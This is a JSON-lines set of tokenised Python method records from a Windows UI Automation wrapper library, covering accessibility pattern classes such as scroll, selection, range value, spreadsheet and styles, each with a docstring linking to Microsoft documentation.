{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationlegacyiaccessiblepattern", "id": "f1782:c53:m0"}
{"signature": "@property<EOL><INDENT>def ChildId(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentChildId<EOL>", "docstring": "Property ChildId.\nCall IUIAutomationLegacyIAccessiblePattern::get_CurrentChildId.\nReturn int, the Microsoft Active Accessibility child identifier for the element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-get_currentchildid", "id": "f1782:c53:m1"}
{"signature": "@property<EOL><INDENT>def DefaultAction(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentDefaultAction<EOL>", "docstring": "Property DefaultAction.\nCall IUIAutomationLegacyIAccessiblePattern::get_CurrentDefaultAction.\nReturn str, the Microsoft Active Accessibility current default action for the element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-get_currentdefaultaction", "id": "f1782:c53:m2"}
{"signature": "@property<EOL><INDENT>def Description(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentDescription<EOL>", "docstring": "Property Description.\nCall IUIAutomationLegacyIAccessiblePattern::get_CurrentDescription.\nReturn str, the Microsoft Active Accessibility description of the element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-get_currentdescription", "id": "f1782:c53:m3"}
{"signature": "@property<EOL><INDENT>def Help(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentHelp<EOL>", "docstring": "Property Help.\nCall IUIAutomationLegacyIAccessiblePattern::get_CurrentHelp.\nReturn str, the Microsoft Active Accessibility help string for the element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-get_currenthelp", "id": "f1782:c53:m4"}
{"signature": "@property<EOL><INDENT>def KeyboardShortcut(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentKeyboardShortcut<EOL>", "docstring": "Property KeyboardShortcut.\nCall IUIAutomationLegacyIAccessiblePattern::get_CurrentKeyboardShortcut.\nReturn str, the Microsoft Active Accessibility keyboard shortcut property for the element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-get_currentkeyboardshortcut", "id": "f1782:c53:m5"}
{"signature": "@property<EOL><INDENT>def Name(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentName or '<STR_LIT>'<EOL>", "docstring": "Property Name.\nCall IUIAutomationLegacyIAccessiblePattern::get_CurrentName.\nReturn str, the Microsoft Active Accessibility name property of the element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-get_currentname", "id": "f1782:c53:m6"}
{"signature": "@property<EOL><INDENT>def Role(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentRole<EOL>", "docstring": "Property Role.\nCall IUIAutomationLegacyIAccessiblePattern::get_CurrentRole.\nReturn int, a value in calss `AccessibleRole`, the Microsoft Active Accessibility role identifier.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-get_currentrole", "id": "f1782:c53:m7"}
{"signature": "@property<EOL><INDENT>def State(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentState<EOL>", "docstring": "Property State.\nCall IUIAutomationLegacyIAccessiblePattern::get_CurrentState.\nReturn int, a value in calss `AccessibleState`, the Microsoft Active Accessibility state identifier.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-get_currentstate", "id": "f1782:c53:m8"}
{"signature": "@property<EOL><INDENT>def Value(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentValue<EOL>", "docstring": "Property Value.\nCall IUIAutomationLegacyIAccessiblePattern::get_CurrentValue.\nReturn str, the Microsoft Active Accessibility value property.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-get_currentvalue", "id": "f1782:c53:m9"}
{"signature": "def DoDefaultAction(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.DoDefaultAction() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationLegacyIAccessiblePattern::DoDefaultAction.\nPerform the Microsoft Active Accessibility default action for the element.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-dodefaultaction", "id": "f1782:c53:m10"}
{"signature": "def GetSelection(self) -> list:", "body": "eleArray = self.pattern.GetCurrentSelection()<EOL>if eleArray:<EOL><INDENT>controls = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>con = Control.CreateControlFromElement(element=ele)<EOL>if con:<EOL><INDENT>controls.append(con)<EOL><DEDENT><DEDENT>return controls<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationLegacyIAccessiblePattern::GetCurrentSelection.\nReturn list, a list of `Control` subclasses,\n             the Microsoft Active Accessibility property that identifies the selected children of this element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-getcurrentselection", "id": "f1782:c53:m11"}
{"signature": "def GetIAccessible(self):", "body": "return self.pattern.GetIAccessible()<EOL>", "docstring": "Call IUIAutomationLegacyIAccessiblePattern::GetIAccessible, todo.\nReturn an IAccessible object that corresponds to the Microsoft UI Automation element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-getiaccessible\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/oleacc/nn-oleacc-iaccessible", "id": "f1782:c53:m12"}
{"signature": "def Select(self, flagsSelect: int, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Select(flagsSelect) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationLegacyIAccessiblePattern::Select.\nPerform a Microsoft Active Accessibility selection.\nflagsSelect: int, a value in `AccessibleSelection`.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-select", "id": "f1782:c53:m13"}
{"signature": "def SetValue(self, value: str, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.SetValue(value) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationLegacyIAccessiblePattern::SetValue.\nSet the Microsoft Active Accessibility value property for the element.\nvalue: str.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationlegacyiaccessiblepattern-setvalue", "id": "f1782:c53:m14"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationmultipleviewpattern", "id": "f1782:c54:m0"}
{"signature": "@property<EOL><INDENT>def CurrentView(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentCurrentView<EOL>", "docstring": "Property CurrentView.\nCall IUIAutomationMultipleViewPattern::get_CurrentCurrentView.\nReturn int, the control-specific identifier of the current view of the control.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationmultipleviewpattern-get_currentcurrentview", "id": "f1782:c54:m1"}
{"signature": "def GetSupportedViews(self) -> list:", "body": "return self.pattern.GetCurrentSupportedViews()<EOL>", "docstring": "Call IUIAutomationMultipleViewPattern::GetCurrentSupportedViews, todo.\nReturn list, a list of int, control-specific view identifiers.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationmultipleviewpattern-getcurrentsupportedviews", "id": "f1782:c54:m2"}
{"signature": "def GetViewName(self, view: int) -> str:", "body": "return self.pattern.GetViewName(view)<EOL>", "docstring": "Call IUIAutomationMultipleViewPattern::GetViewName.\nview: int, the control-specific view identifier.\nReturn str, the name of a control-specific view.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationmultipleviewpattern-getviewname", "id": "f1782:c54:m3"}
{"signature": "def SetView(self, view: int) -> bool:", "body": "return self.pattern.SetCurrentView(view) == S_OK<EOL>", "docstring": "Call IUIAutomationMultipleViewPattern::SetCurrentView.\nSet the view of the control.\nview: int, the control-specific view identifier.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationmultipleviewpattern-getviewname", "id": "f1782:c54:m4"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationobjectmodelpattern", "id": "f1782:c55:m0"}
{"signature": "def GetUnderlyingObjectModel(self) -> ctypes.POINTER(comtypes.IUnknown):", "body": "return self.pattern.GetUnderlyingObjectModel()<EOL>", "docstring": "Call IUIAutomationObjectModelPattern::GetUnderlyingObjectModel, todo.\nReturn `ctypes.POINTER(comtypes.IUnknown)`, an interface used to access the underlying object model of the provider.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationobjectmodelpattern-getunderlyingobjectmodel", "id": "f1782:c55:m1"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationrangevaluepattern", "id": "f1782:c56:m0"}
{"signature": "@property<EOL><INDENT>def IsReadOnly(self) -> bool:<DEDENT>", "body": "return self.pattern.CurrentIsReadOnly<EOL>", "docstring": "Property IsReadOnly.\nCall IUIAutomationRangeValuePattern::get_CurrentIsReadOnly.\nReturn bool, indicates whether the value of the element can be changed.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationrangevaluepattern-get_currentisreadonly", "id": "f1782:c56:m1"}
{"signature": "@property<EOL><INDENT>def LargeChange(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentLargeChange<EOL>", "docstring": "Property LargeChange.\nCall IUIAutomationRangeValuePattern::get_CurrentLargeChange.\nReturn float, the value that is added to or subtracted from the value of the control\n              when a large change is made, such as when the PAGE DOWN key is pressed.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationrangevaluepattern-get_currentlargechange", "id": "f1782:c56:m2"}
{"signature": "@property<EOL><INDENT>def Maximum(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentMaximum<EOL>", "docstring": "Property Maximum.\nCall IUIAutomationRangeValuePattern::get_CurrentMaximum.\nReturn float, the maximum value of the control.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationrangevaluepattern-get_currentmaximum", "id": "f1782:c56:m3"}
{"signature": "@property<EOL><INDENT>def Minimum(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentMinimum<EOL>", "docstring": "Property Minimum.\nCall IUIAutomationRangeValuePattern::get_CurrentMinimum.\nReturn float, the minimum value of the control.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationrangevaluepattern-get_currentminimum", "id": "f1782:c56:m4"}
{"signature": "@property<EOL><INDENT>def SmallChange(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentSmallChange<EOL>", "docstring": "Property SmallChange.\nCall IUIAutomationRangeValuePattern::get_CurrentSmallChange.\nReturn float, the value that is added to or subtracted from the value of the control\n              when a small change is made, such as when an arrow key is pressed.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationrangevaluepattern-get_currentsmallchange", "id": "f1782:c56:m5"}
{"signature": "@property<EOL><INDENT>def Value(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentValue<EOL>", "docstring": "Property Value.\nCall IUIAutomationRangeValuePattern::get_CurrentValue.\nReturn float, the value of the control.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationrangevaluepattern-get_currentvalue", "id": "f1782:c56:m6"}
{"signature": "def SetValue(self, value: float, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.SetValue(value) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationRangeValuePattern::SetValue.\nSet the value of the control.\nvalue: int.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationrangevaluepattern-setvalue", "id": "f1782:c56:m7"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationscrollitempattern", "id": "f1782:c57:m0"}
{"signature": "def ScrollIntoView(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.ScrollIntoView() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationScrollItemPattern::ScrollIntoView.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollitempattern-scrollintoview", "id": "f1782:c57:m1"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationscrollpattern", "id": "f1782:c58:m0"}
{"signature": "@property<EOL><INDENT>def HorizontallyScrollable(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentHorizontallyScrollable)<EOL>", "docstring": "Property HorizontallyScrollable.\nCall IUIAutomationScrollPattern::get_CurrentHorizontallyScrollable.\nReturn bool, indicates whether the element can scroll horizontally.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollpattern-get_currenthorizontallyscrollable", "id": "f1782:c58:m1"}
{"signature": "@property<EOL><INDENT>def HorizontalScrollPercent(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentHorizontalScrollPercent<EOL>", "docstring": "Property HorizontalScrollPercent.\nCall IUIAutomationScrollPattern::get_CurrentHorizontalScrollPercent.\nReturn float, the horizontal scroll position.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollpattern-get_currenthorizontalscrollpercent", "id": "f1782:c58:m2"}
{"signature": "@property<EOL><INDENT>def HorizontalViewSize(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentHorizontalViewSize<EOL>", "docstring": "Property HorizontalViewSize.\nCall IUIAutomationScrollPattern::get_CurrentHorizontalViewSize.\nReturn float, the horizontal size of the viewable region of a scrollable element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollpattern-get_currenthorizontalviewsize", "id": "f1782:c58:m3"}
{"signature": "@property<EOL><INDENT>def VerticallyScrollable(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentVerticallyScrollable)<EOL>", "docstring": "Property VerticallyScrollable.\nCall IUIAutomationScrollPattern::get_CurrentVerticallyScrollable.\nReturn bool, indicates whether the element can scroll vertically.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollpattern-get_currentverticallyscrollable", "id": "f1782:c58:m4"}
{"signature": "@property<EOL><INDENT>def VerticalScrollPercent(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentVerticalScrollPercent<EOL>", "docstring": "Property VerticalScrollPercent.\nCall IUIAutomationScrollPattern::get_CurrentVerticalScrollPercent.\nReturn float, the vertical scroll position.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollpattern-get_currentverticalscrollpercent", "id": "f1782:c58:m5"}
{"signature": "@property<EOL><INDENT>def VerticalViewSize(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentVerticalViewSize<EOL>", "docstring": "Property VerticalViewSize.\nCall IUIAutomationScrollPattern::get_CurrentVerticalViewSize.\nReturn float, the vertical size of the viewable region of a scrollable element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollpattern-get_currentverticalviewsize", "id": "f1782:c58:m6"}
{"signature": "def Scroll(self, horizontalAmount: int, verticalAmount: int, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Scroll(horizontalAmount, verticalAmount) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationScrollPattern::Scroll.\nScroll the visible region of the content area horizontally and vertically.\nhorizontalAmount: int, a value in ScrollAmount.\nverticalAmount: int, a value in ScrollAmount.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollpattern-scroll", "id": "f1782:c58:m7"}
{"signature": "def SetScrollPercent(self, horizontalPercent: float, verticalPercent: float, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.SetScrollPercent(horizontalPercent, verticalPercent) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationScrollPattern::SetScrollPercent.\nSet the horizontal and vertical scroll positions as a percentage of the total content area within the UI Automation element.\nhorizontalPercent: float or int, a value in [0, 100] or ScrollPattern.NoScrollValue(-1) if no scroll.\nverticalPercent: float or int, a value  in [0, 100] or ScrollPattern.NoScrollValue(-1) if no scroll.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollpattern-setscrollpercent", "id": "f1782:c58:m8"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationselectionitempattern", "id": "f1782:c59:m0"}
{"signature": "def AddToSelection(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.AddToSelection() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationSelectionItemPattern::AddToSelection.\nAdd the current element to the collection of selected items.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationselectionitempattern-addtoselection", "id": "f1782:c59:m1"}
{"signature": "@property<EOL><INDENT>def IsSelected(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentIsSelected)<EOL>", "docstring": "Property IsSelected.\nCall IUIAutomationScrollPattern::get_CurrentIsSelected.\nReturn bool, indicates whether this item is selected.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollpattern-get_currentisselected", "id": "f1782:c59:m2"}
{"signature": "@property<EOL><INDENT>def SelectionContainer(self) -> '<STR_LIT>':<DEDENT>", "body": "ele = self.pattern.CurrentSelectionContainer<EOL>return Control.CreateControlFromElement(ele)<EOL>", "docstring": "Property SelectionContainer.\nCall IUIAutomationScrollPattern::get_CurrentSelectionContainer.\nReturn `Control` subclass, the element that supports IUIAutomationSelectionPattern and acts as the container for this item.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationscrollpattern-get_currentselectioncontainer", "id": "f1782:c59:m3"}
{"signature": "def RemoveFromSelection(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.RemoveFromSelection() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationSelectionItemPattern::RemoveFromSelection.\nRemove this element from the selection.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationselectionitempattern-removefromselection", "id": "f1782:c59:m4"}
{"signature": "def Select(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Select() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationSelectionItemPattern::Select.\nClear any selected items and then select the current element.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationselectionitempattern-select", "id": "f1782:c59:m5"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationselectionpattern", "id": "f1782:c60:m0"}
{"signature": "@property<EOL><INDENT>def CanSelectMultiple(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentCanSelectMultiple)<EOL>", "docstring": "Property CanSelectMultiple.\nCall IUIAutomationSelectionPattern::get_CurrentCanSelectMultiple.\nReturn bool, indicates whether more than one item in the container can be selected at one time.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationselectionpattern-get_currentcanselectmultiple", "id": "f1782:c60:m1"}
{"signature": "@property<EOL><INDENT>def IsSelectionRequired(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentIsSelectionRequired)<EOL>", "docstring": "Property IsSelectionRequired.\nCall IUIAutomationSelectionPattern::get_CurrentIsSelectionRequired.\nReturn bool, indicates whether at least one item must be selected at all times.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationselectionpattern-get_currentisselectionrequired", "id": "f1782:c60:m2"}
{"signature": "def GetSelection(self) -> list:", "body": "eleArray = self.pattern.GetCurrentSelection()<EOL>if eleArray:<EOL><INDENT>controls = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>con = Control.CreateControlFromElement(element=ele)<EOL>if con:<EOL><INDENT>controls.append(con)<EOL><DEDENT><DEDENT>return controls<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationSelectionPattern::GetCurrentSelection.\nReturn list, a list of `Control` subclasses, the selected elements in the container..\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationselectionpattern-getcurrentselection", "id": "f1782:c60:m3"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationspreadsheetitempattern", "id": "f1782:c61:m0"}
{"signature": "@property<EOL><INDENT>def Formula(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentFormula<EOL>", "docstring": "Property Formula.\nCall IUIAutomationSpreadsheetItemPattern::get_CurrentFormula.\nReturn str, the formula for this cell.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationspreadsheetitempattern-get_currentformula", "id": "f1782:c61:m1"}
{"signature": "def GetAnnotationObjects(self) -> list:", "body": "eleArray = self.pattern.GetCurrentAnnotationObjects()<EOL>if eleArray:<EOL><INDENT>controls = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>con = Control.CreateControlFromElement(element=ele)<EOL>if con:<EOL><INDENT>controls.append(con)<EOL><DEDENT><DEDENT>return controls<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationSelectionPattern::GetCurrentAnnotationObjects.\nReturn list, a list of `Control` subclasses representing the annotations associated with this spreadsheet cell.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationspreadsheetitempattern-getcurrentannotationobjects", "id": "f1782:c61:m2"}
{"signature": "def GetAnnotationTypes(self) -> list:", "body": "return self.pattern.GetCurrentAnnotationTypes()<EOL>", "docstring": "Call IUIAutomationSelectionPattern::GetCurrentAnnotationTypes.\nReturn list, a list of int values in class `AnnotationType`,\n             indicating the types of annotations that are associated with this spreadsheet cell.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationselectionpattern-getcurrentannotationtypes", "id": "f1782:c61:m3"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationspreadsheetpattern", "id": "f1782:c62:m0"}
{"signature": "def GetItemByName(self, name: str) -> '<STR_LIT>':", "body": "ele = self.pattern.GetItemByName(name)<EOL>return Control.CreateControlFromElement(element=ele)<EOL>", "docstring": "Call IUIAutomationSpreadsheetPattern::GetItemByName.\nname: str.\nReturn `Control` subclass or None, represents the spreadsheet cell that has the specified name..\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationspreadsheetpattern-getitembyname", "id": "f1782:c62:m1"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationstylespattern", "id": "f1782:c63:m0"}
{"signature": "@property<EOL><INDENT>def ExtendedProperties(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentExtendedProperties<EOL>", "docstring": "Property ExtendedProperties.\nCall IUIAutomationStylesPattern::get_CurrentExtendedProperties.\nReturn str, a localized string that contains the list of extended properties for an element in a document.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationstylespattern-get_currentextendedproperties", "id": "f1782:c63:m1"}
{"signature": "@property<EOL><INDENT>def FillColor(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentFillColor<EOL>", "docstring": "Property FillColor.\nCall IUIAutomationStylesPattern::get_CurrentFillColor.\nReturn int, the fill color of an element in a document.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationstylespattern-get_currentfillcolor", "id": "f1782:c63:m2"}
{"signature": "@property<EOL><INDENT>def FillPatternColor(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentFillPatternColor<EOL>", "docstring": "Property FillPatternColor.\nCall IUIAutomationStylesPattern::get_CurrentFillPatternColor.\nReturn int, the color of the pattern used to fill an element in a document.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationstylespattern-get_currentfillpatterncolor", "id": "f1782:c63:m3"}
{"signature": "@property<EOL><INDENT>def Shape(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentShape<EOL>", "docstring": "Property Shape.\nCall IUIAutomationStylesPattern::get_CurrentShape.\nReturn str, the shape of an element in a document.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationstylespattern-get_currentshape", "id": "f1782:c63:m4"}
{"signature": "@property<EOL><INDENT>def StyleId(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentStyleId<EOL>", "docstring": "Property StyleId.\nCall IUIAutomationStylesPattern::get_CurrentStyleId.\nReturn int, a value in class `StyleId`, the visual style associated with an element in a document.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationstylespattern-get_currentstyleid", "id": "f1782:c63:m5"}
{"signature": "@property<EOL><INDENT>def StyleName(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentStyleName<EOL>", "docstring": "Property StyleName.\nCall IUIAutomationStylesPattern::get_CurrentStyleName.\nReturn str, the name of the visual style associated with an element in a document.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationstylespattern-get_currentstylename", "id": "f1782:c63:m6"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationsynchronizedinputpattern", "id": "f1782:c64:m0"}
